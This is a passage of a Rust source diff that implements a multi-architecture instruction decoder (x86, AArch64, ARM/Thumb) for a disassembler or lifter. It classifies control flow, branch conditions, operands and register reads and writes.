-> u64 { + match self { + Mode::A64 | Mode::A32 => 4, + Mode::T32 => 2, + _ => 1, + } + } + + pub fn max_insn_len(self) -> usize { + if self.is_x86() { 15 } else { 4 } + } +} + +/// How control leaves an instruction. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)] +#[serde(tag = "kind", rename_all = "snake_case")] +pub enum Flow { + /// Falls through to the next instruction. + Next, + Jump { + target: u64, + }, + /// Conditional branch: `target` when taken, otherwise falls through. + Cond { + target: u64, + }, + Call { + target: u64, + }, + /// Jump through a register or memory; `slot` is the memory address when it is static. + IndirectJump { + slot: Option, + }, + IndirectCall { + slot: Option, + }, + Return, + /// Stops execution (hlt, ud2, int3, brk). + Stop, +} + +impl Flow { + pub fn ends_block(self) -> bool { + !matches!(self, Flow::Next | Flow::Call { .. } | Flow::IndirectCall { .. }) + } +} + +/// A branch condition, when the instruction has one. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum Cond { + Eq, + Ne, + Lt, + Le, + Gt, + Ge, + Below, + BelowEq, + Above, + AboveEq, + Sign, + NotSign, + Overflow, + NotOverflow, + Parity, + NotParity, + /// cbz / jcxz: register is zero. + RegZero(String), + RegNonZero(String), + BitClear(String, u8), + BitSet(String, u8), +} + +impl Cond { + /// The comparison operator for `a OP b` after a compare, if it is one. + pub fn op(&self) -> Option<&'static str> { + Some(match self { + Cond::Eq => "==", + Cond::Ne => "!=", + Cond::Lt | Cond::Below => "<", + Cond::Le | Cond::BelowEq => "<=", + Cond::Gt | Cond::Above => ">", + Cond::Ge | Cond::AboveEq => ">=", + _ => return None, + }) + } + + pub fn unsigned(&self) -> bool { + matches!(self, Cond::Below | Cond::BelowEq | Cond::Above | Cond::AboveEq) + } + + pub fn negate(&self) -> Cond { + match self { + Cond::Eq => Cond::Ne, + Cond::Ne => Cond::Eq, + Cond::Lt => Cond::Ge, + Cond::Ge => Cond::Lt, + Cond::Le => Cond::Gt, + Cond::Gt => Cond::Le, + Cond::Below => Cond::AboveEq, + Cond::AboveEq => Cond::Below, + Cond::BelowEq => Cond::Above, + Cond::Above => Cond::BelowEq, + Cond::Sign => Cond::NotSign, + Cond::NotSign => Cond::Sign, + Cond::Overflow => Cond::NotOverflow, + Cond::NotOverflow => Cond::Overflow, + Cond::Parity => Cond::NotParity, + Cond::NotParity => Cond::Parity, + Cond::RegZero(r) => Cond::RegNonZero(r.clone()), + Cond::RegNonZero(r) => Cond::RegZero(r.clone()), + Cond::BitClear(r, b) => Cond::BitSet(r.clone(), *b), + Cond::BitSet(r, b) => Cond::BitClear(r.clone(), *b), + } + } +} + +/// A memory operand. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct MemOp { + pub base: Option, + pub index: Option, + pub scale: u8, + pub disp: i64, + /// Access size in bytes (0 when unknown). + pub size: u8, + /// The absolute address when it doesn't depend on registers (RIP-relative or absolute). + pub addr: Option, + /// `fs`/`gs` for thread-local accesses. + #[serde(skip_serializing_if = "Option::is_none")] + pub seg: Option, +} + +/// One operand. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +#[serde(tag = "kind", content = "value", rename_all = "snake_case")] +pub enum Op { + Reg(String), + Imm(i64), + Mem(MemOp), + /// A branch target. + Addr(u64), +} + +/// What an instruction does, coarsely (for the lifter and heuristics). +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum Kind { + Mov, + MovSx, + MovZx, + Lea, + Add, + Sub, + Mul, + Div, + And, + Or, + Xor, + Shl, + Shr, + Sar, + Not, + Neg, + Inc, + Dec, + Cmp, + Test, + Push, + Pop, + Load, + Store, + LoadPair, + StorePair, + Adrp, + Adr, + Nop, + Leave, + Branch, + Call, + Ret, + Other, +} + +/// A decoded instruction. +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +pub struct Insn { + pub addr: u64, + pub len: u8, + pub mnemonic: String, + pub operands: String, + pub kind: Kind, + pub flow: Flow, + #[serde(skip_serializing_if = "Option::is_none")] + pub cond: Option, + /// Addresses the operands point at (memory, address-like immediates), not branch targets. + pub refs: Vec, + pub ops: Vec, + /// Registers read and written, by full-width name (`eax` counts as `rax`). + pub reads: Vec, + pub writes: Vec, + pub sets_flags: bool, +} + +impl Insn { + pub fn text(&self) -> String { + if self.operands.is_empty() { self.mnemonic.clone() } else { format!("{} {}", self.mnemonic, self.operands) } + } + + pub fn end(&self) -> u64 { + self.addr.wrapping_add(u64::from(self.len)) + } +} + +/// Decode one instruction at `addr` from `bytes` (which start at `addr`). `fmt` adds the +/// mnemonic/operand text; without it only the structure is filled (faster). +pub fn decode(mode: Mode, bytes: &[u8], addr: u64, fmt: bool) -> Option { + match mode { + Mode::X16 => decode_x86(16, bytes, addr, fmt), + Mode::X32 => decode_x86(32, bytes, addr, fmt), + Mode::X64 => decode_x86(64, bytes, addr, fmt), + Mode::A64 => decode_a64(bytes, addr, fmt), + Mode::A32 | Mode::T32 => decode_a32(mode, bytes, addr, fmt), + } +} + +// --------------------------------------------------------------------------------------------- +// x86 + +fn reg_name(r: Register) -> String { + format!("{r:?}").to_ascii_lowercase() +} + +fn full_name(r: Register) -> Option { + if r == Register::None || r == Register::RIP || r == Register::EIP { + return None; + } + let f = r.full_register(); + Some(reg_name(f)) +} + +fn x86_kind(m: Mnemonic) -> Kind { + use Mnemonic as M; + match m { + M::Mov | M::Cmove | M::Cmovne | M::Cmovl | M::Cmovle | M::Cmovg | M::Cmovge | M::Cmovb | M::Cmovbe | M::Cmova | M::Cmovae | M::Cmovs | M::Cmovns => { + Kind::Mov + } + M::Movsx | M::Movsxd => Kind::MovSx, + M::Movzx => Kind::MovZx, + M::Lea => Kind::Lea, + M::Add | M::Adc => Kind::Add, + M::Sub | M::Sbb => Kind::Sub, + M::Imul | M::Mul => Kind::Mul, + M::Div | M::Idiv => Kind::Div, + M::And => Kind::And, + M::Or => Kind::Or, + M::Xor => Kind::Xor, + M::Shl | M::Sal => Kind::Shl, + M::Shr => Kind::Shr, + M::Sar => Kind::Sar, + M::Not => Kind::Not, + M::Neg => Kind::Neg, + M::Inc => Kind::Inc, + M::Dec => Kind::Dec, + M::Cmp => Kind::Cmp, + M::Test => Kind::Test, + M::Push => Kind::Push, + M::Pop => Kind::Pop, + M::Nop | M::Endbr64 | M::Endbr32 => Kind::Nop, + M::Leave => Kind::Leave, + M::Call => Kind::Call, + M::Ret | M::Retf => Kind::Ret, + M::Jmp => Kind::Branch, + _ => Kind::Other, + } +} + +fn x86_cond(c: ConditionCode) -> Option { + Some(match c { + ConditionCode::e => Cond::Eq, + ConditionCode::ne => Cond::Ne, + ConditionCode::l => Cond::Lt, + ConditionCode::le => Cond::Le, + ConditionCode::g => Cond::Gt, + ConditionCode::ge => Cond::Ge, + ConditionCode::b => Cond::Below, + ConditionCode::be => Cond::BelowEq, + ConditionCode::a => Cond::Above, + ConditionCode::ae => Cond::AboveEq, + ConditionCode::s => Cond::Sign, + ConditionCode::ns => Cond::NotSign, + ConditionCode::o => Cond::Overflow, + ConditionCode::no => Cond::NotOverflow, + ConditionCode::p => Cond::Parity, + ConditionCode::np => Cond::NotParity, + _ => return None, + }) +} + +fn decode_x86(bitness: u32, bytes: &[u8], addr: u64, fmt: bool) -> Option { + let mut dec = Decoder::with_ip(bitness, bytes, addr, DecoderOptions::NONE); + if !dec.can_decode() { + return None; + } + let ins = dec.decode(); + if ins.is_invalid() { + return None; + } + let len = u8::try_from(ins.len()).ok()?; + let mnem = ins.mnemonic(); + let mut kind = x86_kind(mnem); + let mut ops = Vec::new(); + let mut refs = Vec::new(); + let mut mem_slot = None; + for i in 0..ins.op_count() { + match ins.op_kind(i) { + OpKind::Register => ops.push(Op::Reg(reg_name(ins.op_register(i)))), + OpKind::NearBranch16 | OpKind::NearBranch32 | OpKind::NearBranch64 => ops.push(Op::Addr(ins.near_branch_target())), + OpKind::Memory => { + let base = ins.memory_base(); + let index = ins.memory_index(); + let seg = match ins.memory_segment() { + Register::FS => Some("fs".to_string()), + Register::GS => Some("gs".to_string()), + _ => None, + }; + let abs = if ins.is_ip_rel_memory_operand() { + Some(ins.ip_rel_memory_address()) + } else if base == Register::None && index == Register::None && seg.is_none() { + Some(ins.memory_displacement64()) + } else { + None + }; + let disp = if ins.is_ip_rel_memory_operand() { 0 } else { ins.memory_displacement64() as i64 }; + if let Some(a) = abs { + refs.push(a); + mem_slot = Some(a); + } + ops.push(Op::Mem(MemOp { + base: if base == Register::None || base == Register::RIP || base == Register::EIP { None } else { Some(reg_name(base)) }, + index: if index == Register::None { None } else { Some(reg_name(index)) }, + scale: u8::try_from(ins.memory_index_scale()).unwrap_or(1), + disp, + size: u8::try_from(ins.memory_size().size()).unwrap_or(0), + addr: abs, + seg, + })); + } + OpKind::Immediate8 + | OpKind::Immediate8_2nd + | OpKind::Immediate16 + | OpKind::Immediate32 + | OpKind::Immediate64 + | OpKind::Immediate8to16 + | OpKind::Immediate8to32 + | OpKind::Immediate8to64 + | OpKind::Immediate32to64 => { + let v = ins.try_immediate(i).unwrap_or(0); + let signed = match ins.op_kind(i) { + OpKind::Immediate8to16 | OpKind::Immediate8to32 | OpKind::Immediate8to64 | OpKind::Immediate32to64 => v as i64, + OpKind::Immediate8 | OpKind::Immediate8_2nd => i64::from(v as u8), + OpKind::Immediate16 => i64::from(v as u16), + OpKind::Immediate32 => i64::from(v as u32), + _ => v as i64, + }; + if v >= 0x100 { + refs.push(v); + } + ops.push(Op::Imm(signed)); + } + _ => ops.push(Op::Imm(0)), + } + } + let flow = match ins.flow_control() { + FlowControl::Next | FlowControl::XbeginXabortXend => { + if mnem == Mnemonic::Hlt { + Flow::Stop + } else { + Flow::Next + } + } + FlowControl::Interrupt => { + if mnem == Mnemonic::Int3 || (mnem == Mnemonic::Int && ins.try_immediate(0).ok() == Some(0x29)) { + Flow::Stop + } else { + Flow::Next + } + } + FlowControl::Exception => Flow::Stop, + FlowControl::UnconditionalBranch => match ins.op_kind(0) { + OpKind::NearBranch16 | OpKind::NearBranch32 | OpKind::NearBranch64 => Flow::Jump { target: ins.near_branch_target() }, + _ => Flow::IndirectJump { slot: None }, + }, + FlowControl::ConditionalBranch => Flow::Cond { target: ins.near_branch_target() }, + FlowControl::IndirectBranch => Flow::IndirectJump { slot: mem_slot }, + FlowControl::Call => match ins.op_kind(0) { + OpKind::NearBranch16 | OpKind::NearBranch32 | OpKind::NearBranch64 => Flow::Call { target: ins.near_branch_target() }, + _ => Flow::IndirectCall { slot: None }, + }, + FlowControl::IndirectCall => Flow::IndirectCall { slot: mem_slot }, + FlowControl::Return => Flow::Return, + }; + if matches!(flow, Flow::Cond { .. }) { + kind = Kind::Branch; + } + let cond = match flow { + Flow::Cond { .. } => match mnem { + Mnemonic::Jcxz | Mnemonic::Jecxz | Mnemonic::Jrcxz => Some(Cond::RegZero("rcx".into())), + _ => x86_cond(ins.condition_code()), + }, + _ => None, + }; + // Branch targets are not data references. + if matches!(flow, Flow::Jump { .. } | Flow::Cond { .. } | Flow::Call { .. }) { + refs.retain(|r| Some(*r) != ops.first().and_then(|o| if let Op::Addr(a) = o { Some(*a) } else { None })); + } + let mut reads = Vec::new(); + let mut writes = Vec::new(); + let mut factory = InstructionInfoFactory::new(); + let info = factory.info(&ins); + for u in info.used_registers() { + let Some(n) = full_name(u.register()) else { continue }; + if n == "rsp" && matches!(kind, Kind::Push | Kind::Pop | Kind::Call | Kind::Ret) { + continue; + } + match u.access() { + OpAccess::Read | OpAccess::CondRead => push_unique(&mut reads, n), + OpAccess::Write | OpAccess::CondWrite => push_unique(&mut writes, n), + OpAccess::ReadWrite | OpAccess::ReadCondWrite => { + push_unique(&mut reads, n.clone()); + push_unique(&mut writes, n); + } + _ => {} + } + } + // xor r, r / sub r, r define r without reading it. + if matches!(kind, Kind::Xor | Kind::Sub) + && ops.len() == 2 + && ops.first() == ops.get(1) + && let Some(Op::Reg(r)) = ops.first() + && let Some(f) = full_name_str(r) + { + reads.retain(|x| *x != f); + } + let (mnemonic, operands) = if fmt { + let mut f = IntelFormatter::new(); + let o = f.options_mut(); + o.set_hex_prefix("0x"); + o.set_hex_suffix(""); + o.set_uppercase_hex(false); + o.set_space_after_operand_separator(true); + o.set_branch_leading_zeros(false); + o.set_leading_zeros(false); + o.set_show_branch_size(false); + let mut m = String::new(); + f.format_mnemonic(&ins, &mut m); + let mut a = String::new(); + f.format_all_operands(&ins, &mut a); + (m, a) + } else { + (format!("{mnem:?}").to_ascii_lowercase(), String::new()) + }; + Some(Insn { addr, len, mnemonic, operands, kind, flow, cond, refs, ops, reads, writes, sets_flags: ins.rflags_modified() != 0 }) +} + +fn full_name_str(r: &str) -> Option { + // Map a sub-register name to its 64-bit parent (eax → rax, r8d → r8, al → rax). + let r = r.to_ascii_lowercase(); + let base = match r.as_str() { + "al" | "ah" | "ax" | "eax" | "rax" => "rax", + "bl" | "bh" | "bx" | "ebx" | "rbx" => "rbx", + "cl" | "ch" | "cx" | "ecx" | "rcx" => "rcx", + "dl" | "dh" | "dx" | "edx" | "rdx" => "rdx", + "sil" | "si" | "esi" | "rsi" => "rsi", + "dil" | "di" | "edi" | "rdi" => "rdi", + "bpl" | "bp" | "ebp" | "rbp" => "rbp", + "spl" | "sp" | "esp" | "rsp" => "rsp", + other => { + if let Some(n) = other.strip_prefix('r') { + let digits: String = n.chars().take_while(|c| c.is_ascii_digit()).collect(); + if !digits.is_empty() { + return Some(format!("r{digits}")); + } + } + if let Some(n) = other.strip_prefix('w').filter(|n| n.chars().all(|c| c.is_ascii_digit()) && !n.is_empty()) { + return Some(format!("x{n}")); + } + return Some(other.to_string()); + } + }; + Some(base.to_string()) +} + +/// The full-width register a name belongs to (`eax` → `rax`, `w3` → `x3`). +pub fn canonical_reg(r: &str) -> String { + full_name_str(r).unwrap_or_else(|| r.to_string()) +} + +fn push_unique(v: &mut Vec, s: String) { + if !v.contains(&s) { + v.push(s); + } +} + +// --------------------------------------------------------------------------------------------- +// AArch64 + +/// Replace yaxpeax's `$+0x…`/`$-0x…` relative operands with absolute `0x…` addresses. +fn absolutize(text: &str, base: u64) -> String { + let mut out = String::with_capacity(text.len()); + let mut rest = text; + while let Some(p) = rest.find('$') { + out.push_str(rest.get(..p).unwrap_or("")); + let tail = rest.get(p + 1..).unwrap_or(""); + let neg = tail.starts_with('-'); + let num = tail.get(1..).unwrap_or(""); + let hex = num.strip_prefix("0x").unwrap_or(num); + let digits: String = hex.chars().take_while(|c| c.is_ascii_hexdigit()).collect(); + match u64::from_str_radix(&digits, 16) { + Ok(v) if !digits.is_empty() => { + let t = if neg { base.wrapping_sub(v) } else { base.wrapping_add(v) }; + out.push_str(&format!("{t:#x}")); + let consumed = 1 + (num.len() - hex.len()) + digits.len(); + rest = tail.get(consumed..).unwrap_or(""); + } + _ => { + out.push('$'); + rest = tail; + } + } + } + out.push_str(rest); + out +} + +fn split_text(text: &str) -> (String, String) { + match text.split_once(' ') { + Some((m, o)) => (m.to_string(), o.trim().to_string()), + None => (text.to_string(), String::new()), + } +} + +fn a64_reg(size: yaxpeax_arm::armv8::a64::SizeCode, n: u16, sp: bool) -> String { + use yaxpeax_arm::armv8::a64::SizeCode; + match (size, n) { + (SizeCode::X, 31) => { + if sp { + "sp".into() + } else { + "xzr".into() + } + } + (SizeCode::W, 31) => { + if sp { + "wsp".into() + } else { + "wzr".into() + } + } + (SizeCode::X, n) => format!("x{n}"), + (SizeCode::W, n) => format!("w{n}"), + } +} + +fn a64_canon(n: u16, sp: bool) -> Option { + if n == 31 { + return if sp { Some("sp".into()) } else { None }; + } + Some(format!("x{n}")) +} + +fn decode_a64(bytes: &[u8], addr: u64, fmt: bool) -> Option { + use yaxpeax_arm::armv8::a64::{InstDecoder, Opcode, Operand}; + let word = bytes.get(..4)?; + let mut reader = U8Reader::new(word); + let inst = InstDecoder::default().decode(&mut reader).ok()?; + let op_name = format!("{:?}", inst.opcode); + let mut ops = Vec::new(); + let mut refs = Vec::new(); + let mut reads: Vec = Vec::new(); + let mut writes: Vec = Vec::new(); + let mut target = None; + let mut first_reg: Option = None; + let mut regs_in_order: Vec = Vec::new(); + let is_store = + op_name.starts_with("ST") && !op_name.starts_with("STR") || op_name.starts_with("STR") || op_name.starts_with("STP") || op_name.starts_with("STUR"); + for o in inst.operands.iter() { + match *o { + Operand::Nothing => break, + Operand::Register(s, n) => { + ops.push(Op::Reg(a64_reg(s, n, false))); + if let Some(c) = a64_canon(n, false) { + if first_reg.is_none() { + first_reg = Some(c.clone()); + } + regs_in_order.push(c); + } else if first_reg.is_none() { + first_reg = Some("zr".into()); + } + } + Operand::RegisterOrSP(s, n) => { + ops.push(Op::Reg(a64_reg(s, n, true))); + if let Some(c) = a64_canon(n, true) { + if first_reg.is_none() { + first_reg = Some(c.clone()); + } + regs_in_order.push(c); + } + } + Operand::RegisterPair(s, n) => { + ops.push(Op::Reg(a64_reg(s, n, false))); + if let Some(c) = a64_canon(n, false) { + regs_in_order.push(c); + } + } + Operand::RegShift(_, _, s, n) => { + ops.push(Op::Reg(a64_reg(s, n, false))); + if let Some(c) = a64_canon(n, false) { + push_unique(&mut reads, c); + } + } + Operand::PCOffset(off) => { + let t = if inst.opcode == Opcode::ADRP { (addr & !0xfff).wrapping_add(off as u64) } else { addr.wrapping_add(off as u64) }; + target = Some(t); + ops.push(Op::Addr(t)); + } + Operand::Immediate(v) => ops.push(Op::Imm(i64::from(v))), + Operand::Imm64(v) => ops.push(Op::Imm(v as i64)), + Operand::Imm16(v) => ops.push(Op::Imm(i64::from(v))), + Operand::ImmShift(v, s) => ops.push(Op::Imm(i64::from(v).checked_shl(u32::from(s)).unwrap_or(0))), + Operand::RegPreIndex(n, off, wb) => { + ops.push(Op::Mem(MemOp { base: a64_canon(n, true), index: None, scale: 1, disp: i64::from(off), size: 0, addr: None, seg: None })); + if let Some(c) = a64_canon(n, true) { + push_unique(&mut reads, c.clone()); + if wb { + push_unique(&mut writes, c); + } + } + } + Operand::RegPostIndex(n, off) => { + ops.push(Op::Mem(MemOp { base: a64_canon(n, true), index: None, scale: 1, disp: 0, size: 0, addr: None, seg: None })); + let _ = off; + if let Some(c) = a64_canon(n, true) { + push_unique(&mut reads, c.clone()); + push_unique(&mut writes, c); + } + } + Operand::RegRegOffset(n, m, _, _, sh) => { + ops.push(Op::Mem(MemOp { + base: a64_canon(n, true), + index: a64_canon(m, false), + scale: 1u8.checked_shl(u32::from(sh)).unwrap_or(1), + disp: 0, + size: 0, + addr: None, + seg: None, + })); + for c in [a64_canon(n, true), a64_canon(m, false)].into_iter().flatten() { + push_unique(&mut reads, c); + } + } + Operand::RegPostIndexReg(n, m) => { + ops.push(Op::Mem(MemOp { base: a64_canon(n, true), index: None, scale: 1, disp: 0, size: 0, addr: None, seg: None })); + for c in [a64_canon(n, true), a64_canon(m, false)].into_iter().flatten() { + push_unique(&mut reads, c); + } + } + _ => ops.push(Op::Imm(0)), + } + } + let (flow, cond) = match inst.opcode { + Opcode::B => (Flow::Jump { target: target.unwrap_or(addr) }, None), + Opcode::Bcc(c) => { + let cond = match c { + 0 => Cond::Eq, + 1 => Cond::Ne, + 2 => Cond::AboveEq, + 3 => Cond::Below, + 4 => Cond::Sign, + 5 => Cond::NotSign, + 6 => Cond::Overflow, + 7 => Cond::NotOverflow, + 8 => Cond::Above, + 9 => Cond::BelowEq, + 10 => Cond::Ge, + 11 => Cond::Lt, + 12 => Cond::Gt, + 13 => Cond::Le, + _ => Cond::Eq, + }; + if c >= 14 { (Flow::Jump { target: target.unwrap_or(addr) }, None) } else { (Flow::Cond { target: target.unwrap_or(addr) }, Some(cond)) } + } + Opcode::CBZ | Opcode::CBNZ => { + let r = ops.iter().find_map(|o| if let Op::Reg(r) = o { Some(r.clone()) } else { None }).unwrap_or_default(); + (Flow::Cond { target: target.unwrap_or(addr) }, Some(if inst.opcode == Opcode::CBZ { Cond::RegZero(r) } else { Cond::RegNonZero(r) })) + } + Opcode::TBZ | Opcode::TBNZ => { + let r = ops.iter().find_map(|o| if let Op::Reg(r) = o { Some(r.clone()) } else { None }).unwrap_or_default(); + let bit = ops.iter().find_map(|o| if let Op::Imm(v) = o { Some(*v as u8) } else { None }).unwrap_or(0); + (Flow::Cond { target: target.unwrap_or(addr) }, Some(if inst.opcode == Opcode::TBZ { Cond::BitClear(r, bit) } else { Cond::BitSet(r, bit) })) + } + Opcode::BL => (Flow::Call { target: target.unwrap_or(addr) }, None), + Opcode::BLR | Opcode::BLRAA | Opcode::BLRAAZ | Opcode::BLRAB | Opcode::BLRABZ => (Flow::IndirectCall { slot: None }, None), + Opcode::BR | Opcode::BRAA | Opcode::BRAAZ | Opcode::BRAB | Opcode::BRABZ => (Flow::IndirectJump { slot: None }, None), + Opcode::RET | Opcode::RETAA | Opcode::RETAB => (Flow::Return, None), + Opcode::BRK | Opcode::HLT | Opcode::UDF => (Flow::Stop, None), + _ => (Flow::Next, None), + }; + let kind = match inst.opcode { + Opcode::ADRP => Kind::Adrp, + Opcode::ADR => Kind::Adr, + Opcode::ADD | Opcode::ADDS => Kind::Add, + Opcode::SUB | Opcode::SUBS => Kind::Sub, + Opcode::AND | Opcode::ANDS => Kind::And, + Opcode::ORR => Kind::Or, + Opcode::EOR => Kind::Xor, + Opcode::MOVZ | Opcode::MOVN | Opcode::MOVK => Kind::Mov, + Opcode::MADD | Opcode::MSUB | Opcode::SMULL | Opcode::UMULL => Kind::Mul, + Opcode::SDIV | Opcode::UDIV => Kind::Div, + Opcode::LDP | Opcode::LDPSW => Kind::LoadPair, + Opcode::STP => Kind::StorePair, + Opcode::B | Opcode::Bcc(_) | Opcode::CBZ | Opcode::CBNZ | Opcode::TBZ | Opcode::TBNZ | Opcode::BR => Kind::Branch, + Opcode::BL | Opcode::BLR => Kind::Call, + Opcode::RET => Kind::Ret, + Opcode::HINT => Kind::Nop, + _ => { + if op_name.starts_with("LDR") || op_name.starts_with("LDUR") || op_name.starts_with("LDAR") || op_name.starts_with("LDX") { + Kind::Load + } else if is_store { + Kind::Store + } else { + Kind::Other + } + } + }; + // Literal loads and adr point at data. + if let Some(t) = target + && (matches!(kind, Kind::Adr | Kind::Load)) + { + refs.push(t); + } + // Reads/writes: stores and branches read everything; otherwise the first register is the + // destination and the rest are sources. + match kind { + Kind::Store | Kind::StorePair | Kind::Branch | Kind::Call => { + for r in regs_in_order { + push_unique(&mut reads, r); + } + } + Kind::LoadPair => { + for r in regs_in_order { + push_unique(&mut writes, r); + } + } + _ => { + let mut it = regs_in_order.into_iter(); + if let Some(d) = it.next() { + if op_name.ends_with('S') && first_reg.as_deref() == Some("zr") { + push_unique(&mut reads, d); + } else { + push_unique(&mut writes, d); + } + } + for r in it { + push_unique(&mut reads, r); + } + if matches!(inst.opcode, Opcode::MOVK) + && let Some(w) = writes.first().cloned() + { + push_unique(&mut reads, w); + } + } + } + if matches!(flow, Flow::Return) { + push_unique(&mut reads, "x30".into()); + } + if matches!(flow, Flow::Call { .. } | Flow::IndirectCall { .. }) { + push_unique(&mut writes, "x30".into()); + } + let sets_flags = matches!(inst.opcode, Opcode::SUBS | Opcode::ADDS | Opcode::ANDS | Opcode::CCMP | Opcode::CCMN) || op_name.starts_with("FCMP"); + let (mnemonic, operands) = if fmt { + let (m, o) = split_text(&inst.to_string()); + (m, absolutize(&o, if inst.opcode == Opcode::ADRP { addr & !0xfff } else { addr })) + } else { + (op_name.to_ascii_lowercase(), String::new()) + }; + let kind = if matches!(kind, Kind::Sub) && sets_flags && first_reg.as_deref() == Some("zr") { + Kind::Cmp + } else if matches!(kind, Kind::And) && sets_flags && first_reg.as_deref() == Some("zr") { + Kind::Test + } else if matches!(kind, Kind::Or | Kind::Add) && mnemonic == "mov" { + Kind::Mov + } else { + kind + }; + Some(Insn { addr, len: 4, mnemonic, operands, kind, flow, cond, refs, ops, reads, writes, sets_flags }) +} + +// --------------------------------------------------------------------------------------------- +// ARM (A32 / T32): decode and control flow; operand structure is coarse. + +fn decode_a32(mode: Mode, bytes: &[u8], addr: u64, fmt: bool) -> Option { + use yaxpeax_arm::armv7::{ConditionCode as C, InstDecoder, Opcode, Operand}; + let dec = if mode == Mode::T32 { InstDecoder::default_thumb() } else { InstDecoder::default() }; + let window = bytes.get(..bytes.len().min(4))?; + if mode == Mode::A32 { + let word = u32::from_le_bytes(window.try_into().ok()?); + // A32 extra load/store: L=0 and SH=10/11 select LDRD/STRD. + // Rt=15 would make yaxpeax construct the nonexistent second register r16. + if word & 0x0e10_00d0 == 0x0000_00d0 && (word >> 12) & 0xf == 15 { + return None; + } + } + let mut reader = U8Reader::new(window); + let inst = dec.decode(&mut reader).ok()?; + let len = u8::try_from(inst.len().to_const()).ok().filter(|l| *l > 0)?; + let pc_bias = if mode == Mode::T32 { 4 } else { 8 }; + let mut target = None; + let mut ops = Vec::new(); + let mut reads = Vec::new(); + let mut writes = Vec::new(); + let mut pops_pc = false; + let mut reg_ops: Vec = Vec::new(); + // A memory operand no C statement says whole (write-back, a subtracted or shifted index): the + // lifter shows the instruction as written rather than a wrong expression (#277). + let mut exact = true; + let size = if matches!(inst.opcode, Opcode::LDR | Opcode::STR) { 4 } else { 0 }; + let mem = |base: u8, index: Option, disp: i64| { + // A literal load reads from the word-aligned PC. + let pc = (base == 15).then(|| (addr.wrapping_add(pc_bias) & !3).wrapping_add(disp as u64)); + let (base, disp) = if pc.is_some() { (None, 0) } else { (Some(format!("r{base}")), disp) }; + Op::Mem(MemOp { base, index: index.map(|i| format!("r{i}")), scale: 1, disp, size, addr: pc, seg: None }) + }; + for o in inst.operands.iter() { + match *o { + Operand::Nothing => break, + Operand::RegDerefPreindexOffset(r, off, add, false) => { + ops.push(mem(r.number(), None, if add { i64::from(off) } else { -i64::from(off) })); + if r.number() != 15 { + push_unique(&mut reads, format!("r{}", r.number())); + } + } + Operand::RegDerefPreindexReg(r, m, true, false) if r.number() != 15 => { + ops.push(mem(r.number(), Some(m.number()), 0)); + push_unique(&mut reads, format!("r{}", r.number())); + push_unique(&mut reads, format!("r{}", m.number())); + } + Operand::RegDerefPreindexOffset(r, ..) + | Operand::RegDerefPostindexOffset(r, ..) + | Operand::RegDerefPreindexReg(r, ..) + | Operand::RegDerefPostindexReg(r, ..) + | Operand::RegDerefPreindexRegShift(r, ..) + | Operand::RegDerefPostindexRegShift(r, ..) => { + exact = false; + ops.push(mem(r.number(), None, 0)); + push_unique(&mut reads, format!("r{}", r.number())); + } + Operand::BranchOffset(off) => { + let t = (addr.wrapping_add(pc_bias - 8)).wrapping_add((i64::from(off) * 4) as u64); + target = Some(t); + ops.push(Op::Addr(t)); + } + Operand::BranchThumbOffset(off) => { + // The PC reads as the instruction address plus 4 (Thumb) or 8 (A32). + // yaxpeax already counts one halfword into CBZ/CBNZ and 16-bit conditional B offsets. + let counted = matches!(inst.opcode, Opcode::CBZ | Opcode::CBNZ) || (inst.opcode == Opcode::B && len == 2 && inst.condition != C::AL); + let mut pc = addr.wrapping_add(pc_bias).wrapping_sub(if counted { 2 } else { 0 }); + // Thumb BLX switches to A32 and branches from the word-aligned PC. + if mode == Mode::T32 && inst.opcode == Opcode::BLX { + pc &= !3; + } + let t = pc.wrapping_add((i64::from(off) * 2) as u64); + target = Some(t); + ops.push(Op::Addr(t)); + } + Operand::Reg(r) | Operand::RegWBack(r, _) | Operand::RegDeref(r) => { + reg_ops.push(r.number()); + ops.push(Op::Reg(format!("r{}", r.number()))); + } + Operand::RegList(list) => { + if list & 0x8000 != 0 { + pops_pc = true; + } + for i in 0..16u8 { + if list & (1 << i) != 0 { + reg_ops.push(i); + } + } + } + Operand::Imm12(v) => ops.push(Op::Imm(i64::from(v))), + Operand::Imm32(v) => ops.push(Op::Imm(i64::from(v))), + _ => ops.push(Op::Imm(0)), + } + } + let conditional = inst.condition != C::AL; + let first_is_pc = reg_ops.first() == Some(&15); + let flow = match inst.opcode { + Opcode::B => match (target, conditional) { + (Some(t), true) => Flow::Cond { target: t }, + (Some(t), false) => Flow::Jump { target: t }, + _ => Flow::IndirectJump { slot: None }, + }, + Opcode::CBZ | Opcode::CBNZ => target.map_or(Flow::Next, |t| Flow::Cond { target: t }), + Opcode::BL | Opcode::BLX => match target { + Some(t) => Flow::Call { target: t }, + None => Flow::IndirectCall { slot: None }, + }, + Opcode::BX => { + if reg_ops.first() == Some(&14) { + Flow::Return + } else { + Flow::IndirectJump { slot: None } + } + } + Opcode::POP | Opcode::LDM(..) if pops_pc => Flow::Return, + Opcode::LDR if first_is_pc => Flow::IndirectJump { slot: None }, + Opcode::MOV if first_is_pc && reg_ops.get(1) == Some(&14) => Flow::Return, + Opcode::UDF | Opcode::BKPT => Flow::Stop, + _ => Flow::Next, + }; + let flow = if conditional && matches!(flow, Flow::Return | Flow::IndirectJump { .. }) { + // A conditional return can fall through; treat as an unresolved branch that continues. + Flow::Next + } else { + flow + }; + let name = format!("{:?}", inst.opcode).to_ascii_lowercase(); + let kind = match inst.opcode { + Opcode::MOV => Kind::Mov, + Opcode::ADD => Kind::Add, + Opcode::SUB => Kind::Sub, + Opcode::CMP => Kind::Cmp, + Opcode::TST => Kind::Test, + Opcode::PUSH => Kind::Push, + Opcode::POP => Kind::Pop, + Opcode::LDR => Kind::Load, + Opcode::STR => Kind::Store, + Opcode::B | Opcode::BX | Opcode::CBZ | Opcode::CBNZ => Kind::Branch, + Opcode::BL | Opcode::BLX => Kind::Call, + _ => Kind::Other, + }; + for (i, r) in reg_ops.iter().enumerate() { + let n = format!("r{r}"); + if i == 0 && !matches!(kind, Kind::Store | Kind::Cmp | Kind::Test | Kind::Push | Kind::Branch | Kind::Call) { + push_unique(&mut writes, n); + } else { + 